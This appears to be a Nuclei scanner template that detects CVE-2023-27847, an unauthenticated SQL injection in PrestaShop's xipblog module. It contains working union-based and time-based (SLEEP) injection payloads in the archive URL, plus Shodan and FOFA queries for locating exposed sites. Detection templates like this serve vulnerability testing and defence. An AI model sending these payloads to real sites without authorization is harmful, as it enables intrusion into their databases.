70 lines
2.3 KiB
YAML
70 lines
2.3 KiB
YAML
id: CVE-2023-27847
|
|
|
|
info:
|
|
name: PrestaShop xipblog - SQL Injection
|
|
author: mastercho
|
|
severity: critical
|
|
description: |
|
|
In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
|
|
reference:
|
|
- https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-27847
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-27847
|
|
cwe-id: CWE-89
|
|
epss-score: 0.04685
|
|
epss-percentile: 0.91818
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
framework: prestashop
|
|
shodan-query: html:"/xipblog"
|
|
fofa-query: app="Prestashop"
|
|
tags: cve,cve2023,prestashop,sqli,xipblog
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
variables:
|
|
num: "999999999"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains_any(tolower(response), "prestashop", "xipblog")'
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
@timeout: 20s
|
|
GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL--+- HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
@timeout: 20s
|
|
GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+(SELECT+5728+FROM+(SELECT(SLEEP(6)))AuDU)--+lafl HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
stop-at-first-match: true
|
|
host-redirects: true
|
|
matchers:
|
|
- type: word
|
|
name: union-based
|
|
part: body_1
|
|
words:
|
|
- '{{md5({{num}})}}'
|
|
|
|
- type: dsl
|
|
name: time-based
|
|
dsl:
|
|
- 'duration_2>=6'
|
|
# digest: 4b0a00483046022100f364642eb237e464e3e9470b8e91d01a7ac0327f460527dfdad7261850faafd1022100f04460ac96c49422fa0acbe928716dff565d04ef6950ed5bb22a13f714978fce:922c64590222798bb761d5b6d8e72950 |